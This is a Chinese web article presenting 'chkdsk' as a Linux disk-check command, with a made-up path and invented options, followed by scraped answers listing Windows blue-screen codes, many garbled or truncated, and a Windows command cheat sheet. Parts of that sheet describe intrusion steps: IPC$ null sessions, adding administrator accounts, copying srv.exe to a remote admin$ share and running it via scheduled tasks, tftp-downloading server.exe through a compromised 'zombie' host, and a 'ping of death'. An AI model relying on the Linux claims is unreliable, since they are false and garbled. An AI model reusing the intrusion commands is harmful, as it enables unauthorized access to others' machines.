Linux下如何使用chkdsk命令进行磁盘检查 (linux chkdsk磁盘检查)

在Linux中，可使用chkdsk命令对硬盘进行检查和修复。该命令是一个非常有用的工具，可以帮助您发现和解决硬盘上的问题，进而提高您的计算机性能。本文将为读者介绍如何在Linux系统下使用chkdsk命令进行磁盘检查。

1. 确认是否已安装chkdsk命令

在大多数Linux发行版中，chkdsk命令已经预装，您可以直接跳过此步骤。但是，如果您不确定，或者您安装过程中使用了自定义的安装程序，请先确认是否已安装该命令。

在终端中，输入以下命令来确认该命令的存在：

“`

which chkdsk

“`

如果该命令的存在，则会返回如下内容：

“`

/in/chkdsk

“`

如果该命令不存在，则必须先安装chkdsk命令，以便进行磁盘检查和修复。

2. 检查磁盘

若您发现Linux系统中有一些异常行为，则应该首先检查磁盘。在Linux上运行磁盘检查程序可以帮助您解决一些硬盘错误，包括物理损伤、坏道等问题。为了检查磁盘上的错误，您需要执行以下命令：

“`

sudo chkdsk /dev/sda1

“`

在上述命令中，/dev/sda1是您想检查的磁盘路径，您可以根据自己的需要进行更改。请注意，在执行此命令时，您需要以管理员身份运行该命令。该命令将在磁盘上运行多个检查，以找出任何错误或损坏的区域，并尝试修复它们。

3. 修复磁盘

如果chkdsk发现了硬盘上的错误，则可以使用以下命令进行修复：

“`

sudo chkdsk /dev/sda1 -r

“`

此命令将对磁盘上的错误进行修复，并将不可修复的部分标记为读取错误。请注意，在执行此命令时，同样需要以管理员身份运行该命令。

4. 不强制文件系统检查

如果您只是想跳过文件系统检查，则可以使用以下命令：

“`

sudo chkdsk /dev/sda1 -n

“`

该命令将忽略文件系统检查，但仍会检查磁盘上的错误并尝试修复它们。

5. 自动修复错误

如果您希望chkdsk在发现错误时自动修复它们，则可以使用以下命令：

“`

sudo chkdsk /dev/sda1 -f

“`

在此命令中，-f指示chkdsk在发现错误时自动修复它们，无需用户干预。

6. 仅显示错误

如果您只是想查看发现的错误，并不需要进行修复，则可以使用以下命令：

“`

sudo chkdsk /dev/sda1 -v

“`

该命令仅会显示发现的错误列表，而不进行修复。

7. 显示帮助信息

如果您需要了解chkdsk命令的更多信息，请运行以下命令：

“`

man chkdsk

“`

此命令将显示chkdsk命令的手册页，包括命令选项和使用方法等。

总而言之，chkdsk命令是一个非常有用的工具，可帮助您在Linux系统上检查和修复硬盘的错误。无论您是从命令行还是从脚本中使用它，都可以通过确保您的硬盘始终保持在更佳状态，进而提高您计算机的性能。

相关问题拓展阅读：

• 虚拟机新建linux系统时老出现”internal error”，卸载了重装后还是这个问题，请问高手如何解决？非常感谢！
• 开始-运行可以运行哪些命令，写全
• linux系统硬盘挂载不了，ntfsfix也安装不了

虚拟机新建linux系统时老出现”internal error”，卸载了重装后还是这个问题，请问高手如何解决？非常感谢！

蓝屏

的原因有很多 要对症下药 建议下次蓝屏记住代码来我这 找答案

常见蓝屏案例

我常遇到的蓝屏就是0XE， 0XA，0X，0XF

│ 1│

└—┘0xA:IRQL_NOT_LESS_OR_EQUAL

◆错误分析:主要是由问题的驱动程序、有缺陷或不兼容的硬件与软件造成的. 从技术角度讲. 表明在内核模式中存在

以太

高的进程内部请求级别(IRQL)访问其没有权限访问的内存地址.

◇解决方案:升级驱动程序 或 BIOS 如还是不行 检查内存

┌—┐

│ 2│

└—┘0x:TRAP_CAUSE_UNKNOWN

◆错误分析:如果遇到这个错误信息, 那么很不幸, 应为KeBudCheck分析的结果是错误原因未知.

◇解决方案:既然

微软

都帮不上忙, 就得靠自己了, 请仔细回想这个错误是什么时候出现的; 之一次发生时你对系统做了哪些操作; 发生时正在进行什么操作. 从这些信息中找出可能的原因, 从而选择相应解决方案尝试排除.

┌—┐

│ 3│

└—┘0xA:MEMORY_MANAGEMENT

◆错误分析:这个内存管理错误往往是由硬件引起的, 比如: 新安装的硬件、内存本身有问题等.

◇解决方案:如果是在安装Windows时出现, 有可能是由于你的电脑达不到安装Windows的最小内存和磁盘要求.

┌—┐

│ 4│

└—┘0xE:KMODE_EXCEPTION_NOT_HANDLED

◆错误分析:Windows内核检查到一个非法或者未知的进程指令, 这个停机码一般是由问题的内存或是与前面0xA相似的原因造成的.

◇解决方案:

(1)硬件兼容有问题:请对照前面提到的最新硬件兼容性列表, 查看所有硬件是否包含在该列表中.

(2)有问题的设备驱动、系统服务或内存冲突和中断冲突: 如果在蓝屏信息中出现了驱动程序的名字,请试着在安装模式或者故障恢复控制

台中

禁用或删除驱动程序, 并禁用所有刚安装的驱动和软件. 如果错误出现在系统启动过程中, 请进入

安全模式

, 将蓝屏信息中所胡氏标明的文件重命名或者删除.

(3)如果错误信息中明确指出Win32K.sys: 很有可能是第三方远程控制软件造成的裤棚散, 需要从故障恢复控制台中将对该软件的服务关闭.

(4)在安装Windows后之一次重启时出现:更大嫌疑可能时系统分区的磁盘空间不足或BIOS兼容有问题.

(5)如果是在关闭某个软件时出现的:很有可能时软件本省存在设计缺陷, 请升级或卸载它.

┌—┐

│ 5│0x:FAT_FILE_SYSTEM

└—┘0x:NTFS_FILE_SYSTEM

◆错误分析:0x通常发生在读写FAT16或者FAT32文件系统的系统分区时, 而0x则是由于NTFS.sys文件出现错误(这个驱动文件的作用是容许系统读写使用

NTFS文件系统

的磁盘). 这两个蓝屏错误很有可能是磁盘本身存在物理损坏, 或是中断要求封包(IRP)损坏而导致的. 其他原因还包括:硬盘磁盘碎片过多; 文件读写操作过于频繁, 并且数据量非常达或者是由于一些磁盘镜像软件或

杀毒软件

引起的.

◇解决方案:

之一步:首先打开

命令行

提示符, 运行”Chkdsk /r”(注:不是CHKDISK, 感觉象这个, 但是……)命和肆令检查并修复硬盘错误, 如果报告存在怀道(Bad Track), 请使用硬盘厂商提供的检查工具进行检查和修复.

第二步:接着禁用所有即使扫描文件的软件, 比如:杀毒软件、防火墙或备份工具.

第三步:右击C:\winnt\system32\drivers\fastfat.sys文件并选择”属性”, 查看其版本是否与当前系统所使用的Windows版本相符.(注:如果是XP, 应该是C:\windows\system32\drivers\fastfat.sys)

第四步:安装最新的主板驱动程序, 特别IDE驱动. 如果你的光驱、可移动

存储器

也提供有驱动程序,更好将它们升级至最新版.

┌—┐

│ 6│

└—┘0x:RDR_FILE_SYSTEM

◆错误分析:这个错误产生的原因很难判断, 不过Windows内存管理出了问题很可能会导致这个停机码的出现.

◇解决方案:如果是内存管理的缘故, 通常增加内存会解决问题.

┌—┐

│ 7│

└—┘0xEATA_BUS_ERROR

◆错误分析:系统内存存储器

奇偶校验

产生错误, 通常是因为有缺陷的内存(包括物理内存、二级缓存或者

显卡显存

)时

设备驱动程序

访问不存在的内存地址等原因引起的. 另外, 硬盘被病毒或者其他问题所损伤, 以出现这个停机码.

◇解决方案:

(1)检查病毒

(2)使用”chkdsk /r”命令检查所有

磁盘分区

.

(3)用Memtest86等内存测试软件检查内存.

(4)检查硬件是否正确安装, 比如:是否牢固、

金手指

是否有污渍.

┌—┐

│ 8│

└—┘0x:NO_MORE_IRP_STACK_LOCATIONS

◆错误分析:从字面上理解, 应该时驱动程序或某些软件出现堆栈问题. 其实这个故障的真正原因应该时驱动程序本省存在问题, 或是内存有质量问题.

◇解决方案:请使用前面介绍的常规解决方案中与驱动程序和内存相关的方案进行排除.

┌—┐

│ 9│

└—┘0xF:NO_MORE_SYSTEM_PTES

◆错误分析:一个与系统内存管理相关的错误, 比如:由于执行了大量的输入/输出操作, 造成内存管理出现问题: 有缺陷的驱动程序不正确地使用内存资源; 某个

应用程序

(比如:备份软件)被分配了大量的内核内存等.

◇解决方案:卸载所有最新安装的软件(特别是哪些增强磁盘性能的应用程序和杀毒软件)和驱动程序.

┌—┐

│10│

└—┘0x:MULTIPLE_IRP_COMPLIETE_REQUESTS

◆错误分析:通常是由硬件驱动程序引起的.

◇解决方案:卸载最近安装的驱动程序. 这个故障很少出现, 目前已经知道的是, 在使用这家公司的某些软件时会出现, 其中的罪魁就是Falstaff.sys文件.(作者难道不怕吃官司嘛, 把公司网址公布)

┌—┐

│11│

└—┘0x

AGE_FAULT_IN_NONPAGED+AREA

◆错误分析:有问题的内存(包括屋里内存、二级缓存、显存)、不兼容的软件(主要是远程控制和杀毒软件)、损坏的NTFS卷以及有问题的硬件(比如CI插卡本身已损坏)等都会引发这个错误.

◇解决方案:

1.卸掉所有的新近安装的硬件.

2.运行由计算机制造商提供的所有系统诊断软件.尤其是内存检查.

3.检查是否正确安装了所有新硬件或软件,如果这是一次全新安装,请与硬件或软件制造商联系,获得可能需要的任何Windows更新或驱动程序.

4.禁用或卸载所有的反病毒程序.

5.禁用BIOS内存选项,例如cache或shadow

方案里并非每一条都要做,只是每一条都有可能!蓝屏代码50是我看到现在最麻烦的,可能引起的原因非常多!即使那五条你都做了可能都解决不了,至少我以前解决过一次并不在这几条之中,你就先试试看吧!

┌—┐

│12│

└—┘0x:REGISTRY_ERROR

◆错误分析:这个停机码说明

注册表

或系统配置管理器出现错误, 由于硬盘本身有物理损坏或文件系统存在问题, 从而造成在读取注册文件时出现输入/输出错误.

◇解决方案:使用”chkdsk /r”检查并修复磁盘错误.

┌—┐

│13│

└—┘0x:FTDISK_INTERNAL_ERROR

◆错误分析:说明在容错集的主驱动发生错误.

◇解决方案:首先尝试重启电脑看是否能解决问题, 如果不行, 则尝试”最后一次正确配置”进行解决.

┌—┐

│14│

└—┘0xE:CRITICAL_SERVICE_FAILED

◆错误分析:某个非常重要的系统服务启动识别造成的.

◇解决方案:如果是在安装了某个新硬件后出新的, 可以先移除该硬件, 并通过网上列表检查它是否与Windows 2K/XP兼容, 接着启动电脑, 如果蓝屏还是出现, 请使用”最后一次正确配置”来启动Windows,如果这样还是失败, 建议进行修复安装或是重装.

┌—┐

│15│

└—┘0xF:SESSION3_INITIALIZATION-FAILED

◆错误分析:这个错误通常出现在Windows启动时, 一般是由有问题的驱动程序或损坏的系统文件引起的.

◇解决方案:建议使用Windows安装光盘对系统进行修复安装.

┌—┐

│16│

└—┘0xROCESS_HAS_LOCKED_PAGES

◆错误分析:通常是因为某个驱动程序在完成了一次输入/输出操作后, 没有正确释放所占有的内存

◇解决方案:

之一步:点击开始–>运行:regedt32, 找到, 在右侧新建双字节值”TrackLockedPages”, 值为1. 这样Windows便会在错误再次出现时跟踪到是哪个驱动程序的问题.

第二步:如果再次出现蓝屏, 那么错误信息会变成:

STOP:0xCB(0xY,0xY,0xY,0xY)DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS

其中第四个”0xY”会显示为问题驱动程序的名字, 接着对其进行更新或删除.

第三步:进入注册表, 删除添加的”TrackLockedPages”.

┌—┐

│17│

└—┘0x:KERNEL_STACK_INPAGE_ERROR

◆错误分析:说明需要使用的内核数据没有在虚拟内存或物理内存中找到. 这个错误常常于是着磁盘有问题, 相应数据损坏或受到病毒侵蚀.

◇解决方案:使用杀毒软件扫描系统; 使用”chkdsk /r”命令检查并修复磁盘错误, 如不行则使用磁盘厂商提供的工具检查修复.

┌—┐

│18│

└—┘0xA:KERNEL_DATA_INPAGE_ERROR

◆错误分析:这个错误往往是虚拟内存中的内核数据无法读入内存造成的. 原因可能是虚拟内存页面文件中存在坏簇、病毒、磁盘控制器出错、内存有问题.

◇解决方案:首先用升级为最新病毒库杀毒软件查杀病毒, 如果促无信息中还有0xC000009C或0xC000016A代码, 那么表示是坏簇造成的, 并且系统的磁盘检测工具无法自动修复, 这时要进入”故障恢复控制台”, 用”chkdsk /r”命令进行手动修复.

┌—┐

│19│

└—┘0xB:INACESSIBLE_BOOT_DEVICE

◆错误分析:Windows在启动过程中无法访问系统分区或启动卷. 一般发生在更换主板后之一次启动时, 主要是因为新主板和旧主板的IDE控制器使用了不同芯片组造成的. 有时也可能是病毒或硬盘损伤所引起的.

◇解决方案:一般只要用安装光盘启动电脑, 然后执行修复安装即可解决问题. 对于病毒则可使用DOS版的杀毒软件进行查杀(主战有kv2023DOS版下载). 如果是硬盘本身存在问题, 请将其安装到其他电脑中,然后使用”chkdsk /r”来检查并修复磁盘错误.

┌—┐

│20│

└—┘0xE:SYSTEM_THREAD_EXCEPTION_NOT_HANDLED

◆错误分析:系统进程产生错误, 但Windows错误处理器无法捕获. 其产生原因很多, 包括:硬件兼容性、有问题的驱动程序或系统服务、 或者是某些软件.

◇解决方案:请使用”事件查看器”来获取更多的信息, 从中发现错误根源.(发现好像不是解决哦, 看来这里大家要自力更生了!)

┌—┐

│21│

└—┘0xF:UNEXPECTED_KERNEL_MOED_TRAP

◆错误分析:一般是由于有问题的硬件(比如:内存)或某些软件引起的. 有时超频也会产生这个错误.

◇解决方案:用检测软件(比如:Memtest86)检查内存, 如果进行了超频, 请取消超频. 将PCI硬件插卡从主板插槽拔下来, 或更换插槽. 另外, 有些主板(比如:nForce2主板)在进行超频后, 南桥芯片过热也会导致蓝屏, 此时为该芯片单独增加散热片往往可以有效解决问题.

┌—┐

│22│

└—┘0x:NMI_HARDWARE_FAILURE

◆错误分析:通常是有硬件引起的.(似乎蓝屏与硬件错误有不解之缘)

◇解决方案:如果最近安装了新硬件, 请将其移除, 然后试试更换插槽和安装最新的驱动程序, 如果升级了驱动程序, 请恢复后原来的版本; 检查内存金手指是否有污染和损坏; 扫描病毒; 运行”chkdsk /r”检查并修复磁盘错误; 检查所有硬件插卡已经插牢. 如果以上尝试都无效果, 就得找专业的电脑维修公司请求帮助了.

┌—┐

│23│

└—┘0xE:KERNEL_MODE_EXCEPTION_NOT_HANDLED

◆错误分析:内核级应用程序产生了错误, 但Windows错误处理器没有捕获. 通常是硬件兼容性错误.

◇解决方案:升级驱动程序或升级BIOS.

┌—┐

│24│

└—┘0xC:MACHINE_CHECK_EXCEPTION

◆错误分析:通常是硬件引起的. 一般是因为超频或是硬件存在问题(内存、CPU、总线、电源).

◇解决方案:如果进行了超频, 请降会CPU原来频率, 检查硬件.

┌—┐

│25│

└—┘0xFRIVER_POWER_STATE_FAILURE

◆错误分析:往往与电源有关系, 常常发生在与电源相关的操作, 比如:关机、待机或休睡.

◇解决方案:重装系统, 如果不能解决, 请更换电源.

┌—┐

│26│

└—┘0x000000A5:ACPI_BIOS_ERROR

◆错误分析:通常是因为主板BIOS不能全面支持ACPI规范.

◇解决方案:如果没有相应BIOS升级, 那么可在安装Windows 2K/XP时, 当出现”press F6 if you need to install a third-party SCSI or RAID driver”提示时, 按下F7键, 这样Windows便会自动禁止安装ACPI HAL, 而安装 Standard PC HAL.

┌—┐

│27│

└—┘0x000000B4:VIDEO_DRIVER_INIT_FAILURE

◆错误分析:这个停止信息表示Windows因为不能启动显卡驱动, 从而无法进入图形界面. 通常是显卡的问题, 或者是存在与显卡的硬件冲突(比如:与并行或串行端口冲突).

◇解决方案:进入安全模式查看问题是否解决, 如果可以, 请升级最新的显卡驱动程序, 如果还不行,则很可能是显卡与并行端口存在冲突, 需要在安全模式按下WIN+break组合键打开”系统属性”, 在硬件–>设备管理器中找到并双击连接打印的LPT1端口的项, 在”资源”选项卡中取消”使用自动配置”的构选, 然后将”输入/输出范围”的”03BC”改为”0378″.

┌—┐

│28│

└—┘0x000000BE:ATTEMPTED_WRITE_TO_READON_MEMORY

◆错误分析:某个驱动程序试图向只读内存写入数据造成的. 通常是在安装了新的驱动程序, 系统服务或升级了设备的固件程序后.

◇解决方案:如果在错误信息中包含有驱动程序或者服务文件名称, 请根据这个信息将新安装的驱动程序或软件卸载或禁用.

┌—┐

│29│

└—┘0x000000C2:BAD_POOL_CALLER

◆错误分析:一个内核层的进程或驱动程序错误地试图进入内存操作. 通常是驱动程序或存在BUG的软件造成的.

◇解决方案:请参考前面介绍的常规解决方案相关项目进行排除.

┌—┐

│30│

└—┘0x000000CE

RIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS

◆错误分析:通常是由有问题的驱动程序或系统服务造成的.

◇解决方案:建议 更新驱动程序 或升级BIOS

┌—┐

│31│

└—┘0x000000D1 RIVER_IRQL_NOT_LESS_OR_EQUAL

◆错误分析:通常是由有问题的驱动程序引起的(比如罗技鼠标的Logitech MouseWare 9.10和9.24版驱动程序会引发这个故障). 同时,有缺陷的内存、 损坏的虚拟内存文件、 某些软件(比如多媒体软件、杀毒软件、备份软件、DVD播放软件)等也会导致这个错误.

◇解决方案:检查最新安装或升级的驱动程序(如果蓝屏中出现”acpi.sys”等类似文件名, 可以非常肯定时驱动程序问题)和软件; 测试内存是否存在问题; 进入”故障恢复控制台”, 转到虚拟内存页面文件Pagefile.sys所在分区, 执行”del pagefile.sys”命令, 将页面文件删除; 然后在页面文件所在分区执行”chkdsk /r”命令;进入Windows后重新设置虚拟内存.

如果在上网时遇到这个蓝屏, 而你恰恰又在进行大量的数据下载和上传(比如:网络游戏、下载),那么应该是网卡驱动的问题, 需要升级其驱动程序.

┌—┐

│32│

└—┘0x000000EA:THREAD_STUCK_IN_DEVICE_DRIVER

◆错误分析:通常是由显卡或显卡驱动程序引发的.

◇解决方案:先升级最新的显卡驱动, 如果不行, 则需要更换显卡测试故障是否依然发生.

┌—┐

│33│

└—┘0x000000ED:UNMOUNTABLE_BOOT_VOLUME

◆错误分析:一般是由于磁盘存在错误导致的, 有时也建议检查硬盘连线是否接触不良, 或是没有使用合乎该硬盘传输规格的连接线, 例如ATA-100仍使用ATA-33的连接线, 对低速硬盘无所谓, 但告诉硬盘(支持ATA-66以上)的要求较严格, 规格不对的连线有时也会引起这类没办法开机的故障. 如果在修复后,还是经常出现这个错误, 很可能是硬盘损坏的前兆.

◇解决方案:一般情况下, 重启会解决问题, 不管怎么样都建议执行”chkdsk /r”命令来检查修复硬盘

┌—┐

│34│

└—┘0x000000F2:HARDWARE)INTERRUPT_STORM

◆错误分析:内核层检查到系统出现中断风暴, 比如:某个设备在完成操作后没有释放所占用的中断.通常这是由缺陷的驱动程序造成的.

◇解决方案:升级或卸载最新安装的硬件驱动程序.

┌—┐

│35│

└—┘0x:UNABLE_TO_LOCATE_DLL

◆错误分析:通常表示某个文件丢失或已经损坏, 或者是注册表出现错误.

◇解决方案:如果是文件丢失或损坏, 在蓝屏信息中通常会显示相应的文件名, 你可以通过网络或是其他电脑找到相应的文件, 并将其复制到系统文件夹下的SYSTEM32子文件夹中. 如果没有显示文件名, 那就很有可能是注册表损坏, 请利用系统还原或是以前的注册表备份进行恢复.

36.代码是：TOP:0x000000F4 (0x,0x81E95460,0x81E955D4,0x805FB7A8)

分析：(1):

硬盘出现坏道的话，会造成检测时的缓慢，你可以听听硬盘运转的时候有没有异常的声音，如果有的话，硬盘应该是出现坏道了，所以系统在使用损坏的文件时，才会蓝屏死机，建议将硬盘低级格式化后再重新分区，有一定的希望恢复硬盘，或者用软件将坏道屏蔽。

(2):我把XP装到D盘就好了！主板、BIOS和内存没有任何问题。硬盘用HDTune测起始部分有些坏块，全面格式化也没消失，但运转时无异响，不知何故。

(3):STOP:0x000000F4 的意思是：内存存取错误,那个数字是内存地址,这个问题是最近才出的还是从ghost后就有,如果是最近才出,就再ghost一遍就好,如果是从ghost后就有,建议你在现在的分区状态下再全新安装一遍吧.

(4):0x000000F4:HARDWARE)INTERRUPT_STORM

错误分析:内核层检查到系统出现中断风暴, 比如:某个设备在完成操作后没有释放所占用的中断. 通常这是 由缺陷的驱动程序 造成的.

解决方案:升级或卸载最新安装的硬件驱动程序.

你的BIOS是最新的1011.003测试版，测试版是不稳定的，更好用正式版

(5):是不是开电脑没过几分钟就会蓝屏出现aproblemhaeendetectedandwindowshasshutdowntopreventdamagetoyourcomputer.

aprocessorthreadcrucialtosystemoperationhasunexpectedlyexitedorbeenterminated.

(这里还有一段英文字，大概说的是“如果您是之一次看到这种情况，重启您的计算机。如果问题继续，请检查您的软件以及最近装上的硬件。”）还有disableorremoveanynewlyinstalledhardware,disablebioemoryoptionssuchascashingorshadowing(接下来还一段英文意思是说叫你进安全模式看看）?

开始-运行可以运行哪些命令，写全

net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接

net use \\ip\ipc$ “密码” /user:”用纳消户名” 建立IPC非空链接

net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C：到本地为H:

net use h: \\ip\c$ 登陆后映射对方C：到本地为H:

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务；(如:net start telnet， net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip “文本信息” 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C：共享

net user guest用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况，常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l数据包大小”；“-n发送数银或据次数”；“-t”指一直ping。

ping -t -lip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文洞搏知件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二：

del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，”> “和”> >” 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP（属telnet登陆后的命令）

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送

tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)

route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface

arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并更大化（最小化）运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件（目录）的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性

dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序，并显示出：请按任意键继续….

if 在批处理程序中执行条件处理（更多说明见if命令及变量）

goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）

call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）

for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）

echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )

#3 三：

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令＝字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径\可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地网络配置情况

#4 四：

IIS服务命令：

iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）

iisreset /start或stop 启动（停止）所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。

FTP 命令： (后面有详细说明内容)

ftp的命令行格式为:

ftp －v －d －i －n －g －v 显示远程服务器的所有响应信息。

－d 使用调试方式。

－n 限制ftp的自动登录,即不使用.netrc文件。

－g 取消全局文件名。

help 或 ？ 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 将本地一个文件传送至远端主机中

get 或 recv 从远端主机中传送至本地主机中

mget 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename 改变远端主机中的文件名

